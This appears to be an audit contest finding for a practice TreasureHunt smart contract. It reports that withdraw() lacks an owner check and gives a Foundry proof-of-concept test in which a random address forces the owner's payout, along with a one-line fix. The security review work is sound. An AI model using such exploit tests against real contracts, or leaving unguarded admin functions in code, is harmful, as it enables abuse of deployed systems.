SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: low
Likelihood: medium

`withdraw()` has no access control; any caller can force a transfer to the owner

Author Revealed upon completion

Description

TreasureHunt.withdraw() at line 223 has no onlyOwner or equivalent guard, unlike every other admin function. Once claimsCount >= MAX_TREASURES, any external caller can trigger it. Funds always flow to owner so there is no direct theft, but the owner loses control of when the withdrawal lands on-chain.

function withdraw() external { // no onlyOwner
require(claimsCount >= MAX_TREASURES, "HUNT_NOT_OVER");
...
(bool sent, ) = owner.call{value: balance}("");
...
}

Compare with fund() (237), pause() (246), unpause() (255), updateVerifier() (265), emergencyWithdraw() (275) — all explicitly require msg.sender == owner.

Risk

Likelihood: moderate. A malicious 10th-claim recipient can reenter withdraw() from their fallback; with no donations the balance is zero at that moment and the inner require(balance > 0) reverts, but any donation via receive() makes the reentrant call succeed. Impact: forced timing of the owner's payout transaction (tax, multisig signing windows). No direct fund loss.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
​
import "forge-std/Test.sol";
import {TreasureHunt} from "../src/TreasureHunt.sol";
import {IVerifier} from "../src/Verifier.sol";
​
contract PoC_L01 is Test {
TreasureHunt hunt;
address mockVerifier = address(0xABCDEF);
address owner = address(0xDEAD);
​
function setUp() public {
vm.etch(mockVerifier, hex"00");
vm.deal(owner, 200 ether);
vm.prank(owner);
hunt = new TreasureHunt{value: 100 ether}(mockVerifier);
vm.mockCall(mockVerifier, abi.encodeWithSelector(IVerifier.verify.selector), abi.encode(true));
​
// reach claimsCount == 10 via the dedup bug
vm.startPrank(address(0xBAD));
for (uint256 i = 0; i < 10; i++) {
hunt.claim(hex"de", bytes32(uint256(1)), payable(address(uint160(0xA11CE0 + i))));
}
vm.stopPrank();
}
​
function test_bystander_forces_withdraw() public {
(bool ok, ) = address(hunt).call{value: 1 ether}("");
require(ok);
uint256 before_ = owner.balance;
vm.prank(address(0xB05)); // random bystander, not owner
hunt.withdraw();
assertEq(owner.balance, before_ + 1 ether, "bystander forced owner payout");
}
}

Recommended Mitigation

function withdraw() external {
+ require(msg.sender == owner, "ONLY_OWNER");
require(claimsCount >= MAX_TREASURES, "HUNT_NOT_OVER");
...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!